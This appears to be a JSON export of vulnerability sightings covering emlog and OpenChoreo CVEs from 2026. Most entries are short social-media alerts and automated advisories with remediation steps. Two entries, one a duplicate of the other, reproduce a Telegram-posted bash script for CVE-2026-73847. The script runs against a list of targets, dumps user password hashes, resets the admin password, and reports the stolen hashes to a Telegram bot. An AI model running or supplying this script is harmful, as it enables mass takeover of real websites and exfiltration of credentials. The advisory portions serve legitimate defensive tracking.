{"vulnerability": "cve-2026-7384", "sightings": [{"uuid": "92532cad-59b1-4c24-8620-ae3a988ab819", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-7384", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mknq7z3zed2v", "content": "CVE-2026-7384 - ezequiroga mcp-bases research_server.py search_papers path traversal\nCVE ID : CVE-2026-7384\n \n Published : April 29, 2026, 3:16 p.m. | 1\u00a0hour, 1\u00a0minute ago\n \n Description : A vulnerability was detected in ezequiroga mcp-bases 357ca19c7a49a9b9cb2ef639b366f03aba8...", "creation_timestamp": "2026-04-29T18:30:48.822593Z"}, {"uuid": "f113bb8d-8471-4b4e-ae6f-401e9a125411", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-73849", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mt2t6zaamo2p", "content": "CVE-2026-73849 - emlog\nEmlog website builders are at risk of having their configuration files overwritten and new administrator accounts created if an attacker submits malicious data to the install.php page. This is a\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#emlog #CVE #infosec", "creation_timestamp": "2026-08-14T18:50:06.327316Z"}, {"uuid": "8367d7b1-d0b7-41b9-b01d-2e6e251fbc29", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-73849", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/d3fnour6j45st", "content": "CVE-2026-73849 - emlog allows unauthenticated reinstallation via `install.php?action=reinstall`.\nCVE ID : CVE-2026-73849\n \n Published : Aug. 14, 2026, 6:19 p.m. | 16\u00a0minutes ago\n \n Description : Emlog is an open source website building system. In 2.6.26 and earlier, install.ph...", "creation_timestamp": "2026-08-14T19:10:32.750530Z"}, {"uuid": "3d28d5a9-efd7-480c-85ae-b65138eee43e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-73847", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/4yiga7czvu423", "content": "CVE-2026-73847 - Emlog: Missing CSRF protection in AI Assistant execute_tool leads to full database compromise and admin account takeover\nCVE ID : CVE-2026-73847\n \n Published : Aug. 14, 2026, 6:19 p.m. | 16\u00a0minutes ago\n \n Description : Emlog is an open source website building ...", "creation_timestamp": "2026-08-14T19:16:33.256921Z"}, {"uuid": "c12cc328-a131-4ff7-8bc8-1fabd9fab08a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-73847", "type": "seen", "source": "Telegram/ynjmqxzp7YI_R9qKJrdTzR8VpgA8NU0utxNDhQb71CparQc", "content": "", "creation_timestamp": "2026-08-17T18:00:05.579578Z"}, {"uuid": "505adf57-c059-4642-bc12-f8dc842006cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-73847", "type": "seen", "source": "Telegram/psShhqFGmsW7Zu1QfEmheOdGYUcEaP4Ivd2AB-NkVeHuutw", "content": "", "creation_timestamp": "2026-08-17T18:00:05.838179Z"}, {"uuid": "1d1af080-6b69-4a41-b177-ace3951fa4e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-73847", "type": "published-proof-of-concept", "source": "Telegram/psShhqFGmsW7Zu1QfEmheOdGYUcEaP4Ivd2AB-NkVeHuutw", "content": "", "creation_timestamp": "2026-08-18T00:00:10.413517Z"}, {"uuid": "ab2fa38a-a810-414c-b353-4348a5359266", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-73847", "type": "published-proof-of-concept", "source": "Telegram/ynjmqxzp7YI_R9qKJrdTzR8VpgA8NU0utxNDhQb71CparQc", "content": "", "creation_timestamp": "2026-08-18T00:00:10.636696Z"}, {"uuid": "2a30469c-58d6-4fd0-9a78-a641eb95cdd6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-73842", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mt4v4w7idc24", "content": "CVE-2026-73842\nOpenChoreo, a Kubernetes developer platform, had a security flaw that allowed anyone on the same network to access sensitive data, make changes to workloads, and execute commands. This flaw has been fixed in\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-08-15T14:30:03.551409Z"}, {"uuid": "ab83d444-3794-4869-9874-840cc20e2efd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-73843", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mt4v4wrh3g25", "content": "CVE-2026-73843\nOpenChoreo's management APIs are exposed without a password, allowing anyone with network access to manipulate data in Kubernetes clusters. This can lead to unauthorized access to sensitive data and potential\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-08-15T14:30:04.084409Z"}, {"uuid": "9a706f4a-ee1d-4c0e-ac93-8a292384b732", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-73842", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3msyqq3ibuy27", "content": "\ud83d\udd34 CVE-2026-73842 - Critical (9)\n\nOpenChoreo is a complete, open-source developer platform for Kubernetes. Prior to 1.0.3, 1.1.3, a...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-73842/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-08-13T23:00:39.262329Z"}, {"uuid": "e8e0d448-927a-4fdb-b005-57e67093827a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-73843", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3msyqqcn7xv2l", "content": "\ud83d\udd34 CVE-2026-73843 - Critical (9.6)\n\nOpenChoreo is a complete, open-source developer platform for Kubernetes. Prior to 1.0.2 and 1.1.2...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-73843/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-08-13T23:00:46.664363Z"}, {"uuid": "821e54f7-c9ea-4c5e-86fd-248bd7550f18", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-73842", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3msyraxbbzd2y", "content": "CVE-2026-73842 - openchoreo\nOpenChoreo, a Kubernetes platform, had a security issue where anyone could access sensitive information and make changes to connected systems. This has been fixed in versions 1.0.3,\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#openchoreo #CVE #infosec", "creation_timestamp": "2026-08-13T23:10:04.465812Z"}, {"uuid": "d3ebb238-9c06-454e-b9ea-f259f64e0e92", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-73843", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3msyraynown2e", "content": "CVE-2026-73843 - openchoreo\nA security issue in OpenChoreo, a developer platform for Kubernetes, allowed attackers to access sensitive data and execute commands in workload pods without a password. This issue has\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#openchoreo #CVE #infosec", "creation_timestamp": "2026-08-13T23:10:05.794684Z"}, {"uuid": "b6345856-5e2a-4c65-888e-3c45f8c932da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-73841", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3msyu3hbksu2r", "content": "\ud83d\udfe0 CVE-2026-73841 - High (8.8)\n\nOpenChoreo is a complete, open-source developer platform for Kubernetes. From 1.2.0-rc.1 until 1....\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-73841/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-08-14T00:00:41.969525Z"}, {"uuid": "c2635842-85a9-473b-869e-425d41be8b14", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-73841", "type": "seen", "source": "https://bsky.app/profile/termsofsurrender.bsky.social/post/3msywtf7dtm2n", "content": "OpenChoreo Bleeds Out While Everyone Pretends Kubernetes Is Self-Healing\nPANIC 68% | Lag 0.0h | CVE-2026-73841 is a high-severity vulnerability in OpenChoreo, affecting versions from 1.2.0-rc.1 on\n#AfterShockIndex\nREAD MORE", "creation_timestamp": "2026-08-14T00:49:51.684389Z"}, {"uuid": "7dcbe278-ee24-47df-9d15-b77bc6475f40", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-73847", "type": "seen", "source": "https://t.me/GithubRedTeam/98270", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-73847-emlog-PoC\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a squeeze440\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Shell\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-16 04:38:36\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPoC for CVE-2026-73847 - emlog AI Assistant CSRF to SQL execution to admin takeover (CVSS 6.8)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-22T19:00:08.226669Z"}, {"uuid": "cf82d32a-b13f-4b33-8a38-500412b998be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-73847", "type": "seen", "source": "https://t.me/GithubRedTeam/98270", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-73847-emlog-PoC\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a squeeze440\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Shell\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-16 04:38:36\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPoC for CVE-2026-73847 - emlog AI Assistant CSRF to SQL execution to admin takeover (CVSS 6.8)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-23T00:00:32.856302Z"}, {"uuid": "160066cc-588e-4662-b1e7-0b27abde4bd4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-73847", "type": "seen", "source": "https://t.me/blackmrkt1337ch/1915", "content": "Emlog PoC by HanzOFC\n\n   \u2014\u2014-> Good Luck\n\n#!/usr/bin/env bash\n# CVE-2026-73847 - emlog AI Assistant CSRF -> SQL execution -> admin takeover\n# Mass Target & Telegram Notification Version (Config Inside Script)\n# Usage: ./poc_mass_tele.sh targets.txt admin ''\n# Create by HanzOFC\n# Telegram : @xpenzzz // YouTube : @HanzOFC1337\n\nset -uo pipefail\n\n# CONFIG TELEGRAM\n# ^^^\nTELEGRAM_BOT_TOKEN=\"Your token\"\nCHAT_ID=\"Your ID\"\n# ^^^\n\nTARGET_FILE=\"${1:?usage: $0 targets.txt admin_user admin_pass}\"\nUSER=\"${2:?usage: $0 targets.txt admin_user admin_pass}\"\nPASS=\"${3:?usage: $0 targets.txt admin_user admin_pass}\"\n\nNEWPASS_HASH='$P$BMHfYr.J6nlfVxloh38biIBNFq8fvF1'   # PHPass hash for \"HackedByPoC123!\"\n\nsend_telegram() {\n    local message=\"$1\"\n    curl -s -X POST \"https://api.telegram.org/bot${TELEGRAM_BOT_TOKEN}/sendMessage\" \\\n        -d \"chat_id=${CHAT_ID}\" \\\n        -d \"text=${message}\" \\\n        -d \"parse_mode=Markdown\" > /dev/null\n}\n\nif [ ! -f \"$TARGET_FILE\" ]; then\n    echo \"[-] Target file $TARGET_FILE not found!\"\n    exit 1\nfi\n\nsend_telegram \"\ud83d\ude80 *Start Mass PoC CVE-2026-73847*...\"\n\nwhile IFS= read -r TARGET; do\n\n    [[ -z \"$TARGET\"  \"$TARGET\" =~ ^# ]] && continue\n\n    echo \"[*] Processing target: ${TARGET}\"\n    COOKIE_JAR=$(mktemp)\n    ATTACKER_JAR=$(mktemp)\n    \n    AUTH_RES=$(curl -s -c \"$COOKIE_JAR\" \"${TARGET}/admin/account.php?action=dosignin\" \\\n      -d \"user=${USER}\" -d \"pw=${PASS}\" -d \"resp=json\")\n\n    DUMP_RES=$(curl -s -b \"$COOKIE_JAR\" -X POST \"${TARGET}/admin/ai.php?action=execute_tool\" \\\n      --data-urlencode \"name=query_database\" \\\n      --data-urlencode 'params={\"sql\":\"SELECT uid, username, password AS pwd_hash FROM user\"}')\n\n    UPDATE_RES=$(curl -s -b \"$COOKIE_JAR\" -X POST \"${TARGET}/admin/ai.php?action=execute_tool\" \\\n      --data-urlencode \"name=query_database\" \\\n      --data-urlencode \"params={\\\"sql\\\":\\\"UPDATE user SET password='${NEWPASS_HASH}' WHERE uid=1\\\"}\" \\\n      --data-urlencode \"confirm_code=confirm\")\n\n    FINAL_RES=$(curl -s -c \"$ATTACKER_JAR\" \"${TARGET}/admin/account.php?action=dosignin\" \\\n      -d \"user=${USER}\" -d \"pw=HackedByPoC123!\" -d \"resp=json\")\n\n    if echo \"$FINAL_RES\" | grep -q '\"code\":1'  echo \"$FINAL_RES\" | grep -q 'success'; then\n        TELEGRAM_MSG=\"*SUCCESS: Target Compromised!*\\n\\n*Target:* \\`${TARGET}\\`\\n*New Password:* \\`HackedByPoC123!\\`\\n\\n*Hash Dump Result:*\\n\\`\\`\\`json\\n${DUMP_RES}\\n\\`\\`\\`\"\n    else\n        TELEGRAM_MSG=\"\u274c *FAILED:* \\`${TARGET}\\`\\nResponse: ${FINAL_RES}\"\n    fi\n\n    send_telegram \"$TELEGRAM_MSG\"\n\n    rm -f \"$COOKIE_JAR\" \"$ATTACKER_JAR\"\n\ndone < \"$TARGET_FILE\"\n\nsend_telegram \"Exploit End\"\necho \"[*] Done. Exploit Success.\"", "creation_timestamp": "2026-08-28T04:00:05.417840Z"}, {"uuid": "0af616ad-1510-4861-9395-e90b20dfb82e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-73847", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/98270", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-73847-emlog-PoC\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a squeeze440\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Shell\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-16 04:38:36\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPoC for CVE-2026-73847 - emlog AI Assistant CSRF to SQL execution to admin takeover (CVSS 6.8)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-24T00:00:10.896277Z"}, {"uuid": "64565ab0-4a3c-4f6e-b9c7-bc21693b72ab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-73847", "type": "published-proof-of-concept", "source": "https://t.me/blackmrkt1337ch/1915", "content": "Emlog PoC by HanzOFC\n\n   \u2014\u2014-> Good Luck\n\n#!/usr/bin/env bash\n# CVE-2026-73847 - emlog AI Assistant CSRF -> SQL execution -> admin takeover\n# Mass Target & Telegram Notification Version (Config Inside Script)\n# Usage: ./poc_mass_tele.sh targets.txt admin ''\n# Create by HanzOFC\n# Telegram : @xpenzzz // YouTube : @HanzOFC1337\n\nset -uo pipefail\n\n# CONFIG TELEGRAM\n# ^^^\nTELEGRAM_BOT_TOKEN=\"Your token\"\nCHAT_ID=\"Your ID\"\n# ^^^\n\nTARGET_FILE=\"${1:?usage: $0 targets.txt admin_user admin_pass}\"\nUSER=\"${2:?usage: $0 targets.txt admin_user admin_pass}\"\nPASS=\"${3:?usage: $0 targets.txt admin_user admin_pass}\"\n\nNEWPASS_HASH='$P$BMHfYr.J6nlfVxloh38biIBNFq8fvF1'   # PHPass hash for \"HackedByPoC123!\"\n\nsend_telegram() {\n    local message=\"$1\"\n    curl -s -X POST \"https://api.telegram.org/bot${TELEGRAM_BOT_TOKEN}/sendMessage\" \\\n        -d \"chat_id=${CHAT_ID}\" \\\n        -d \"text=${message}\" \\\n        -d \"parse_mode=Markdown\" > /dev/null\n}\n\nif [ ! -f \"$TARGET_FILE\" ]; then\n    echo \"[-] Target file $TARGET_FILE not found!\"\n    exit 1\nfi\n\nsend_telegram \"\ud83d\ude80 *Start Mass PoC CVE-2026-73847*...\"\n\nwhile IFS= read -r TARGET; do\n\n    [[ -z \"$TARGET\"  \"$TARGET\" =~ ^# ]] && continue\n\n    echo \"[*] Processing target: ${TARGET}\"\n    COOKIE_JAR=$(mktemp)\n    ATTACKER_JAR=$(mktemp)\n    \n    AUTH_RES=$(curl -s -c \"$COOKIE_JAR\" \"${TARGET}/admin/account.php?action=dosignin\" \\\n      -d \"user=${USER}\" -d \"pw=${PASS}\" -d \"resp=json\")\n\n    DUMP_RES=$(curl -s -b \"$COOKIE_JAR\" -X POST \"${TARGET}/admin/ai.php?action=execute_tool\" \\\n      --data-urlencode \"name=query_database\" \\\n      --data-urlencode 'params={\"sql\":\"SELECT uid, username, password AS pwd_hash FROM user\"}')\n\n    UPDATE_RES=$(curl -s -b \"$COOKIE_JAR\" -X POST \"${TARGET}/admin/ai.php?action=execute_tool\" \\\n      --data-urlencode \"name=query_database\" \\\n      --data-urlencode \"params={\\\"sql\\\":\\\"UPDATE user SET password='${NEWPASS_HASH}' WHERE uid=1\\\"}\" \\\n      --data-urlencode \"confirm_code=confirm\")\n\n    FINAL_RES=$(curl -s -c \"$ATTACKER_JAR\" \"${TARGET}/admin/account.php?action=dosignin\" \\\n      -d \"user=${USER}\" -d \"pw=HackedByPoC123!\" -d \"resp=json\")\n\n    if echo \"$FINAL_RES\" | grep -q '\"code\":1'  echo \"$FINAL_RES\" | grep -q 'success'; then\n        TELEGRAM_MSG=\"*SUCCESS: Target Compromised!*\\n\\n*Target:* \\`${TARGET}\\`\\n*New Password:* \\`HackedByPoC123!\\`\\n\\n*Hash Dump Result:*\\n\\`\\`\\`json\\n${DUMP_RES}\\n\\`\\`\\`\"\n    else\n        TELEGRAM_MSG=\"\u274c *FAILED:* \\`${TARGET}\\`\\nResponse: ${FINAL_RES}\"\n    fi\n\n    send_telegram \"$TELEGRAM_MSG\"\n\n    rm -f \"$COOKIE_JAR\" \"$ATTACKER_JAR\"\n\ndone < \"$TARGET_FILE\"\n\nsend_telegram \"Exploit End\"\necho \"[*] Done. Exploit Success.\"", "creation_timestamp": "2026-08-29T00:00:28.925080Z"}, {"uuid": "45070a25-52f8-49d1-9fa1-8e67dabd6029", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-73845", "type": "published-proof-of-concept", "source": "https://github.com/ondata/ckan-mcp-server/security/advisories/GHSA-83x6-42hr-jc76", "content": "", "creation_timestamp": "2026-09-02T16:35:22.775654Z"}, {"uuid": "3b033f7a-c2be-4021-b6cd-988f9b3599b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-73840", "type": "seen", "source": "https://gist.github.com/alon710/334e1eb2f1175b3ba4114070f1401a17", "content": "# CVE-2026-73840: CVE-2026-73840: Unauthenticated Webhook Signature Bypass and Git-Provider Confusion in OpenChoreo\n\n> **CVSS Score:** 5.3\n> **Published:** 2026-09-02\n> **Full Report:** https://cvereports.com/reports/CVE-2026-73840\n\n## Summary\nAn authentication bypass and logical confusion vulnerability exists in the OpenChoreo Kubernetes developer platform webhook ingestion system. By exploiting a combination of git-provider spoofing, a missing signature validation requirement on Bitbucket webhooks, and a lack of source-host mapping checks, unauthenticated network attackers can trigger unauthorized builds on arbitrary repositories.\n\n## TL;DR\nAn unauthenticated remote attacker can trigger arbitrary builds on target Kubernetes repositories by spoofing Bitbucket webhook headers and bypassing signature validation checks due to logical flaws in the OpenChoreo handler.\n\n## Exploit Status: POC\n\n## Technical Details\n\n- **CWE ID**: CWE-287\n- **Attack Vector**: Network\n- **CVSS v3.1 Score**: 5.3\n- **EPSS Score**: 0.00237\n- **Impact Rating**: Availability (Low)\n- **Exploit Status**: PoC in Tests\n- **KEV Status**: Not Listed\n\n## Affected Systems\n\n- OpenChoreo Kubernetes platform deployments utilizing auto-build features\n- **OpenChoreo**: < 1.0.3 (Fixed in: `1.0.3`)\n- **OpenChoreo**: >= 1.1.0, < 1.1.3 (Fixed in: `1.1.3`)\n- **OpenChoreo**: >= 1.2.0-rc.1, < 1.2.0-rc.2 (Fixed in: `1.2.0-rc.2`)\n\n## Mitigation\n\n- Upgrade OpenChoreo deployment to version 1.0.3, 1.1.3, or 1.2.0-rc.2.\n- Enforce HMAC-SHA256 signatures for all webhook pipelines including Bitbucket integrations.\n- Restrict ingress path access to trusted IP ranges of external Git service providers.\n\n**Remediation Steps:**\n1. Identify all OpenChoreo namespace installations within the Kubernetes cluster.\n2. Update deployment manifests to pull openchoreo images at version 1.0.3, 1.1.3, or higher.\n3. Generate strong random secrets for Bitbucket webhooks.\n4. Update the 'git-webhook-secrets' Kubernetes Secret to populate the 'bitbucket-secret' field.\n5. Configure the corresponding repositories on Bitbucket with the same secret and enable hook signatures.\n6. Verify pipeline triggers function properly and reject unsigned test payloads.\n\n## References\n\n- [NVD - CVE-2026-73840](https://nvd.nist.gov/vuln/detail/CVE-2026-73840)\n- [GitHub Security Advisory GHSA-c5f6-2rm9-2w8g](https://github.com/openchoreo/openchoreo/security/advisories/GHSA-c5f6-2rm9-2w8g)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-73840) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-09-03T01:32:19.741152Z"}, {"uuid": "217b5797-55b2-462e-9074-2773a817f3b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-73841", "type": "seen", "source": "https://gist.github.com/alon710/fa4c1447c893b6cd0a1784fbaa13a97e", "content": "# CVE-2026-73841: CVE-2026-73841: Broken Object Level Authorization (BOLA) in OpenChoreo Container Exec and Wirelogs Endpoints\n\n> **CVSS Score:** 8.8\n> **Published:** 2026-09-02\n> **Full Report:** https://cvereports.com/reports/CVE-2026-73841\n\n## Summary\nAn Insecure Direct Object Reference (IDOR) / Broken Object Level Authorization (BOLA) vulnerability in OpenChoreo allows authenticated users with project-level permissions to bypass tenant boundaries. By manipulating client-controlled query parameters, an attacker can execute arbitrary commands inside Kubernetes containers or view sensitive communication streams of resources belonging to other, highly privileged projects within the same namespace.\n\n## TL;DR\nOpenChoreo failed to validate if a target component belonged to the caller's authorized project when processing container command executions and wirelog requests. Attackers could specify a project they owned while targeting components in other projects, gaining unauthorized remote shell access to arbitrary pods.\n\n## Exploit Status: POC\n\n## Technical Details\n\n- **CWE ID**: CWE-639 / CWE-863\n- **Attack Vector**: Network (AV:N)\n- **CVSS v3.1 Score**: 8.8 (High)\n- **EPSS Score**: 0.00353 (Percentile: 28.24%)\n- **Impact**: Command Execution / Information Disclosure\n- **Exploit Status**: Proof-of-Concept\n- **KEV Status**: Not Listed\n\n## Affected Systems\n\n- OpenChoreo API Server (openchoreo-api)\n- **OpenChoreo**: < 1.1.6 (Fixed in: `1.1.6`)\n- **OpenChoreo**: >= 1.2.0-m.1, < 1.2.3 (Fixed in: `1.2.3`)\n\n## Mitigation\n\n- Upgrade OpenChoreo deployment to version 1.1.6 or 1.2.3 immediately.\n- Audit active project role-bindings to restrict permissions such as `component:exec` and `wirelogs:view` to essential personnel.\n- Deploy network policies to isolate sensitive pods from direct inter-namespace and inter-project communication.\n\n**Remediation Steps:**\n1. Identify the current deployed version of OpenChoreo in your cluster.\n2. For installations on the 1.1 release line, apply the update to version 1.1.6.\n3. For installations on the 1.2 release line, apply the update to version 1.2.3.\n4. Verify deployment status by inspecting the `openchoreo-api` image tag and confirming it matches the patched releases.\n5. Monitor application logs for any unauthorized request denials containing the message: 'requested project does not own the target component; denying exec'.\n\n## References\n\n- [GitHub Security Advisory GHSA-52gf-6rpq-fgmx](https://github.com/openchoreo/openchoreo/security/advisories/GHSA-52gf-6rpq-fgmx)\n- [CVE-2026-73841 Record on CVE.org](https://www.cve.org/CVERecord?id=CVE-2026-73841)\n- [OpenChoreo Pull Request 4251](https://github.com/openchoreo/openchoreo/pull/4251)\n- [OpenChoreo Pull Request 4516](https://github.com/openchoreo/openchoreo/pull/4516)\n- [OpenChoreo Pull Request 4538](https://github.com/openchoreo/openchoreo/pull/4538)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-73841) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-09-03T02:33:26.794457Z"}, {"uuid": "6536debc-ce51-4675-862c-5905a7aa42be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-73843", "type": "seen", "source": "https://gist.github.com/alon710/4cc3ecb49324472f51ec38f524b61b28", "content": "# CVE-2026-73843: CVE-2026-73843: Critical Missing Authentication and Privilege Escalation in OpenChoreo Cluster Gateway\n\n> **CVSS Score:** 9.6\n> **Published:** 2026-09-02\n> **Full Report:** https://cvereports.com/reports/CVE-2026-73843\n\n## Summary\nPrior to versions 1.0.2 and 1.1.2, OpenChoreo's cluster gateway combined public agent traffic and administrative control-plane APIs on a single TCP port (8443). Exposing this port allowed external unauthenticated actors to access sensitive proxy and execution interfaces.\n\n## TL;DR\nOpenChoreo allowed unauthenticated remote command execution and API proxying in target Kubernetes clusters due to sharing public and private ports on the same gateway multiplexer.\n\n## Technical Details\n\n- **CWE ID**: CWE-306, CWE-668\n- **Attack Vector**: Adjacent Network\n- **CVSS Severity**: 9.6 (Critical)\n- **EPSS Score**: 0.00291\n- **Exploit Status**: None\n- **CISA KEV Status**: Not Listed\n\n## Affected Systems\n\n- OpenChoreo Control Plane\n- OpenChoreo Cluster Gateway\n- **OpenChoreo**: < 1.0.2 (Fixed in: `1.0.2`)\n- **OpenChoreo**: >= 1.1.0, < 1.1.2 (Fixed in: `1.1.2`)\n\n## Mitigation\n\n- Upgrade OpenChoreo to version 1.0.2 or 1.1.2\n- Apply Kubernetes NetworkPolicies to isolate internal-api port 8444\n- Audit Helm deployments and Ingress rules to verify port separation compliance\n\n**Remediation Steps:**\n1. Identify active cluster-gateway components deployed across the infrastructure.\n2. Apply the version upgrade via Helm using official patched charts.\n3. Enforce NetworkPolicies restricting inbound traffic on target port 8444.\n4. Validate the exposure status of port 8443 and verify that /api paths return a 404 status 